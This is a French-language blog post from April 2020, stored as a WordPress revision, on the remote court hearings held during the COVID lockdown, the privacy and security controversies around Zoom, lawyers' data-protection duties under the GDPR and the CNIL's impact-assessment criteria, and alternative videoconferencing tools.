-->\n<p>“<em>Le Tribunal de commerce de Paris vient de\ntenir, mercredi 1et et jeudi 2 avril 2020, deux journées d’audiences dématérialisées\nqui se sont très bien déroulées. Plus de 40 dossiers urgents, notamment en\nraison de la présence de salariés impayés, ont été traités par visioconférence\nen utilisant </em><a href=\"https://www.linkedin.com/company/tixeo/\"><strong><em>TIXEO</em></strong></a><em>, logiciel\nfrançais assurant une totale confidentialité des débats grâce à des liaisons\nentièrement chiffrées, ce qui lui permet d’être certifié par l’</em><a href=\"https://www.linkedin.com/company/anssi-fr/\"><strong><em>ANSSI - Agence nationale de la sécurité des systèmes\nd\'information</em></strong></a><em>. Il s’agissait d’ouvertures de liquidations\net de conversions en liquidation, mais également d’ouvertures de redressements\njudiciaires (rappelons d’ailleurs ici que depuis le début du confinement de\nnombreux mandats ad hoc et conciliations ont également été ouverts). Bravo\nnotamment au greffe du Tribunal, qui a organisé ces audiences très lourdes à\nmettre en place en prévenant tous les intervenants (dirigeants, conseils, AJMJ,\nreprésentants des salariés) de l’heure exacte du passage de leur dossier pour\nque chacun puisse se connecter au bon moment). Bravo également aux juges et à\ntous les intervenants qui ont permis la tenue de ces premières audiences très\nutiles, qui permettent aux entreprises parisiennes de continuer à avoir accès\nau tribunal en cas d’urgence.</em>”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maitre Emmanuel Brunau du Mans annonçait hier\ntoujours sur Linkedin :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“<em>Pour information, le greffe du tribunal\nde commerce du Mans fonctionne normalement malgré la fermeture de la Cité\njudiciaire. Une permanence téléphonique est maintenue aux horaires habituels.\nEnfin pour faire face à l\'urgence, des audiences d\'ouverture de procédures collectives\nen visioconférence sécurisée TIXEO se tiennent tous les mardi pendant le\nconfinement.”</em><em></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Là où les\ninitiatives tombent au compte-gouttes en France, du côté anglo-saxon une\ninitiative concertée a émergé :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em><a href=\"https://www.linkedin.com/feed/update/urn:li:activity:6650510564797878273/\">Launched\ntoday: REMOTE COURTS WORLDWIDE, designed to help the global community of\njustice workers share experiences of \'remote\' alternatives (audio, video,\nonline) to traditional courts. This is a joint effort involving </a><a href=\"https://www.linkedin.com/company/scl-society-for-computers-and-law-/\">SCL - Society for Computers and Law</a></em><em> , <a href=\"https://www.linkedin.com/company/hm-courts-&amp;-tribunals-service/\">HM Courts &amp; Tribunals Service (HMCTS)</a>, and the UK\'s\nLawTech Delivery Panel. We must seize the moment and come together to\naccelerate the development of new ways of continuing to deliver just outcomes\nfor court users. Please contribute content at</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nonobstant, les cris d’alarmes continuent à se faire entendre contre\nl’utilisation de Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://epic.org/\">EPIC, Electronic Privacy Information Center</a>,\ndemande investigations au FTC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“</em><em><a href=\"https://twitter.com/JLLeitschuh/status/1148310958391091200\" target=\"_blank\" rel=\"noreferrer noopener\">Jonathan\nLeitschuh</a>, exposed a\nflaw allowing hackers to&nbsp;<a href=\"https://www.vox.com/recode/2019/7/9/20687689/zoom-mac-vulnerability-medium-jonathan-leitschuh-camera\" target=\"_blank\" rel=\"noreferrer noopener\">take over Zoom\nwebcams</a>. The letter\nnoted that the company did not address problem until after the Electronic\nPrivacy Information Center, a public interest research center,&nbsp;<a href=\"https://epic.org/privacy/zoom/EPIC-FTC-Complaint-In-re-Zoom-7-19.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">filed a complaint&nbsp;</a>about Zoom with the Federal Trade\nCommission last year</em>.”</li><li>“<em>According to EPIC,&nbsp;</em><em><a href=\"https://medium.com/bugbountywriteup/zoom-zero-day-4-million-webcams-maybe-an-rce-just-get-them-to-visit-your-website-ac75c83f4ef5\" target=\"_blank\" rel=\"noreferrer noopener\">Zoom</a>&nbsp;intentionally designed its web\nconferencing service to bypass browser security settings and remotely enable a\nuser\'s web camera without the knowledge or consent of the user. As a result,\nZoom exposed users to the risk of remote surveillance, unwanted videocalls, and\ndenial-of-service attacks,” the complaint alleged.</em>” <a href=\"https://decrypt.co/23283/zoom-is-watching-you-heres-what-you-can-do-about-it\">https://decrypt.co/23283/zoom-is-watching-you-heres-what-you-can-do-about-it</a></li><li><em>“EPIC Urges FTC to Investigate Zoom, Issue Best Practices for\nOnline Conferencing In a letter to FTC Chairman Joe Simons, EPIC urged the FTC\nto \"open an investigation of Zoom\'s business practices and to issue, as\nsoon as practicable, Best Practices for Online Conferencing Services.\"\nHere’s the press release: </em><em><a href=\"https://lnkd.in/epjxHgw\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>https://lnkd.in/epjxHgw</strong></a> “</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le FBI lance des alertes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Earlier this week, the FBI&nbsp;</em><em><a href=\"https://www.fbi.gov/contact-us/field-offices/boston/news/press-releases/fbi-warns-of-teleconferencing-and-online-classroom-hijacking-during-covid-19-pandemic\" target=\"_blank\" rel=\"noreferrer noopener\">warned</a>&nbsp;of so-called “Zoom-bombing” or\nvideoconference hacking. “The FBI has received multiple reports of conferences\nbeing disrupted by pornographic and/or hate images and threatening language,”\nit said.” <a href=\"https://edition.cnn.com/2020/04/02/us/fbi-warning-zoombombing-trnd/index.html\">Published by CNN</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<strong><em>Zoom needs to clean up its privacy act</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>“Privacy advocacy group\nAccess Now, meanwhile, dug into Zoom’s privacy policy and practices and didn\'t\nlike what it saw,&nbsp;</em><em><a href=\"https://www.accessnow.org/access-now-urges-transparency-from-zoom-on-privacy-and-security/\" target=\"_blank\" rel=\"noreferrer noopener\">sending\na letter</a>&nbsp;to the\ncompany on March 19 asking it to publish a transparency report along the same\nlines as other companies that made it plain exactly what the company was doing\nwith its users’ data. “ <a href=\"https://blogs.harvard.edu/doc/2020/03/27/zoom/\">Harvard Blog</a></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Attorney General Tong Issues Recommendations for Safe Video Conferencing.\n“Earlier this week, I attended a Zoom conference that was ‘bombed’ by hundreds\nof profane and racist comments. Needless to say, I am familiarizing myself with\nthese platforms’ privacy and security features, too. My office has been in\ncontact with representatives from Zoom to address this and other issues relating\nto online security and privacy,” said Attorney General Tong. “ In the meantime,\nAttorney General Tong encouraged everyone to practice safer video conferencing\nby: • Ensuring that your video conference software is up to date. • Confirming\nthat your conferences are private, either by requiring a password for entry or\ncontrolling guest access through a virtual waiting room. • Checking that the\nhighest security settings are applied for your teleconference platform. •\nConsult your software company’s security information or your IT department.\nHere\'s the press release: </em><em><a href=\"https://lnkd.in/gRcq9x2\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>https://lnkd.in/gRcq9x2</strong></a><strong>”</strong></em><em></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Quel peut-être\nla responsabilité des juristes en matière de traitement des données consécutifs\na l’utilisation d’une application qui a ete soulevé tant de tôlés </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un avocat est tenu par le secret professionnel qu’il se doit de garantir. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Nécessité d’une </strong><strong>étude d’impact à réaliser avant l’adoption\nde la nouvelle technologie, </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Afin de s’assurer du bon respect des règles de protection des données\ntelles que sus-développées, les avocats sur les pas de leurs ordres\nprofessionnels, doivent s’assurer de la conformité des moyens techniques utilisés.\nLa confidentialité des informations dont ils sont mis en charge leur impose la\nplus grande vigilance. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans ce contexte, une évaluation de l’impact de la nouvelle technologie sur\nla protection des données traitées s’impose avant tout usage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La CNIL explique&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L’AIPD est un outil\nimportant pour la responsabilisation des organismes&nbsp;: elle les aide non\nseulement à construire des traitements de données respectueux de la vie privée,\nmais aussi à démontrer leur conformité au Règlement général sur la protection\ndes données (RGPD). Elle est obligatoire pour les traitements susceptibles\nd’engendrer des risques élevés.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L\'AIPD&nbsp;se décompose\nen trois parties :</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Une description\ndétaillée&nbsp;du traitement mis en œuvre, comprenant tant les aspects\ntechniques qu’opérationnels</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L’évaluation, de nature\nplus juridique, de la nécessité et de la proportionnalité concernant les\nprincipes et droits fondamentaux&nbsp; (finalité, données et durées de\nconservation, information et droits des personnes, etc.) non négociables, qui\nsont fixés par la loi et doivent être respectés, quels que soient les risques ;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L’étude, de nature plus\ntechnique, des risques sur la sécurité des données&nbsp;(confidentialité,\nintégrité et disponibilité)&nbsp;ainsi que &nbsp;leurs impacts potentiels sur\nla vie privée, qui permet de déterminer les mesures techniques et\norganisationnelles nécessaires pour protéger les données.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>On note qu’analyse\nd’impact relative à la protection des données, AIPD&nbsp;(Data Protection\nImpact Assessment, terme retenu dans le RGPD) et PIA (Privacy Impact\nAssessment, terme plus commun utilisé dans d’autres régions du monde) sont\nsynonymes.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Une Analyse d’Impact est obligatoire lorsque, toujours selon la CNIL&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>…le traitement est\n«&nbsp;susceptible d’engendrer un risque élevé pour les droits et libertés des\npersonnes concernées&nbsp;».</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement\nenvisagé figure dans&nbsp;</em><a href=\"https://www.cnil.fr/sites/default/files/atoms/files/liste-traitements-aipd-requise.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"><em>la liste des types\nd’opérations de traitement</em></a><em>&nbsp;pour lesquelles la CNIL a\nestimé obligatoire de réaliser une analyse d’impact relative à la protection\ndes données.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement\nremplit au moins&nbsp;deux des neuf critères&nbsp;issus des lignes directrices\ndu G29 :</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>évaluation/scoring&nbsp;(y\ncompris le profilage)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>décision automatique avec\neffet légal ou similaire&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>surveillance\nsystématique&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>collecte de données\nsensibles ou données à caractère hautement personnel ;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>collecte de données\npersonnelles à large échelle&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>croisement de\ndonnées&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>personnes vulnérables\n(patients, personnes âgées, enfants,&nbsp;etc.)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>usage innovant\n(utilisation d’une nouvelle technologie)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>exclusion du bénéfice\nd’un droit/contrat.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Exemple&nbsp;: une entreprise\nmet en place un traitement publicitaire visant à collecter les données de\ngéolocalisation de plusieurs millions d’individus pour créer des profils\npublicitaires et leur afficher de la publicité ciblée en fonction de leurs\ndéplacements &nbsp;; ce traitement remplit le critère de la collecte à grande\néchelle et celui de la collecte de données sensibles (données de localisation),\ndonc la réalisation d’une AIPD&nbsp;sera nécessaire.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En l’absence des mesures d’évaluation des risques, l’avocat négligeant s’engage\nà la mise en cause de sa responsabilité. Les ordres professionnels doivent être\nsensibilisés à ce risque et accompagner leurs adhérents dans la recherche d’une\nsolution conforme aux exigences du règlement. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La loi du 31\ndécembre 1971, et plus particulièrement par les dispositions de son article\n66-5 impliquent qu’« en toutes matières, que ce soit dans le domaine du conseil\nou dans celui de la défense, les consultations adressées par un avocat à son\nclient ou destinées à celui-ci, les correspondances échangées entre le client\net son avocat, entre l’avocat et ses confrères à l’exception pour ces dernières\nde celles portant la mention « officielle », les notes d’entretien et, plus\ngénéralement, toutes les pièces du dossier sont couvertes par le secret professionnel\n»</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La <a href=\"https://www.cnil.fr/fr/salaries-en-teletravail-quelles-sont-les-bonnes-pratiques-suivre\">CNIL</a>\ncomme d’autres autorités de protection nationale ont produit des guides en ce\nsens. Ici le document produit par le <a href=\"https://www.dataprotection.ie/en/news-media/blogs/data-protection-tips-video-conferencing\">Irish\nData Protection Commissionner</a>. Une <a href=\"https://www.ssi.gouv.fr/guide/recommandations-sur-la-securisation-des-systemes-de-controle-dacces-physique-et-de-videoprotection/\">recommendation\nde la part de ANSSI</a> est également disponible. <a href=\"https://www.enisa.europa.eu/tips-for-cybersecurity-when-working-from-home\">ENISA</a>\n‘<em>cybersecurity when working from home’</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’utilisation de l’application Zoom n’a pas manqué d’ores et déjà de voir\nle jour à des procès en responsabilité&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.secureworldexpo.com/industry-news/zoom-sued-over-privacy-announces-cybersecurity-upgrades\">Zoom\nSued Over Privacy, Announces Cybersecurity Upgrades</a></em></li><li><em>The Facebook API kerfuffle resulted in a&nbsp;</em><em><a href=\"https://www.theregister.co.uk/2020/04/01/zoom_spotlight/\" target=\"_blank\" rel=\"noreferrer noopener\">lawsuit</a>&nbsp;[PDF], filed on Monday in\nCalifornia. The plaintiff in this case, Robert Cullen of Sacramento,\nCalifornia, The Register</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says\">Brittany\nRoush, Director at the Crypsis Group, said</a> : \"that having that kind of\nflexibility to ensure that critical services can carry on, especially in a\ncrisis, does not take the teeth from the CCPA and GDPR. If anything, it\ndemonstrates that the regulatory bodies are carrying out their essential\nfunction -- which is to ensure that companies protect consumer data... In many\nways, the CCPA and GDPR should take a page from HIPAA, which lowered security\nstandards for telehealth in order to manage the critical healthcare demands of\nthe pandemic... we do not have the luxury of time on our side to devise perfect\nsolutions.\"</em><em></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Quels sont les solutions\nalternatives ?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Zoom alternatives :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://jitsi.org/jitsi-meet/\">Jitsi</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.tixeo.com/\">Tixeo</a> recommende par l’ANSSI</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://bigbluebutton.org/\">BigBlueButton</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.visio-avocats.com/\">Visio-avocats</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pages.bluejeans.com/video-conferencing-trial.html?utm_source=google&amp;utm_medium=cpc&amp;personsource=paid_search&amp;utm_content=TrialLP&amp;utm_term=%2Bbluejeans%20%2Bconference&amp;utm_campaign=EMEA%20-%20Branded%20General&amp;utm_adgroup=EMEA%20-%20Branded%20General%20-%20BlueJeans%20Business\">BlueJeans</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.skype.com/en/\">Skype</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.gotomeeting.com/en-gb/lp/easy-online-meetings?cid=g2m_emea_ggs_cpc_brand_gotomeeting_e\">GotoMeeting</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://products.office.com/en-gb/microsoft-teams/group-chat-software\">Teams</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cisco.com/c/en_uk/solutions/collaboration/working-from-home.html?dtid=pseggl000183&amp;oid=trlco020841&amp;ccid=cc000703&amp;gclsrc=ds&amp;gclsrc=ds\">Webex</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://awallon.com:15001/d/f/547174418065971682\">https://awallon.com:15001/d/f/547174418065971682</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://awallon.com:15001/d/f/547174418065971682\">https://awallon.com:15001/d/f/547174418065971682</a></li><li><a rel=\"noreferrer noopener\" href=\"https://awallon.com:15001/d/f/547170207460809919\" target=\"_blank\">https://awallon.com:15001/d/f/547170207460809919</a></li><li></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Si vous teniez malgré tout à continuer à utiliser cette application, voici des conseils sur comment utiliser Zoom avec plus de sécurité :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<em><a href=\"/www.holgernilspohl.com/blog/how-to-keep-you-virtual-zoom-meetings-safe\">How\nto keep your Virtual (Zoom) Meetings safe</a></em><em>:</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Data Protection Tips for Video-conferencing. By the </em><em><a href=\"https://www.linkedin.com/company/data-protection-commissioner-of-ireland/\"><strong>Data Protection Commission\nIreland</strong></a>. In light of the recent\nincrease in remote working, necessitated by COVID-19 mitigation measures, as\nwell as the increased numbers keeping in touch online with friends and family,\nthe number of people video-conferencing and video-calling has increased\ndramatically. This has also resulted in people using apps and services which\nthey might not have used before, or are now using for different reasons – i.e. using\nan app they usually use for personal purposes now for work purposes or vice\nversa. Concerns have been raised about how to use these technologies to keep in\ntouch with colleagues and loved ones in a way that is safe and secure, and\nensures an adequate standard of data protection. Here are some tips to help\nboth individuals and organisations (such as employers who might introduce new\nor increased videoconferencing arrangements for employees) use these services\nin a safe manner: <a href=\"https://lnkd.in/e8mpd8n\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>https://lnkd.in/e8mpd8n</strong></a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->','','','inherit','closed','closed','','601-revision-v1','','','2020-04-07 21:04:11','2020-04-07 20:04:11','',601,'https://datarainbow.eu/2020/04/07/601-revision-v1/',0,'revision','',0),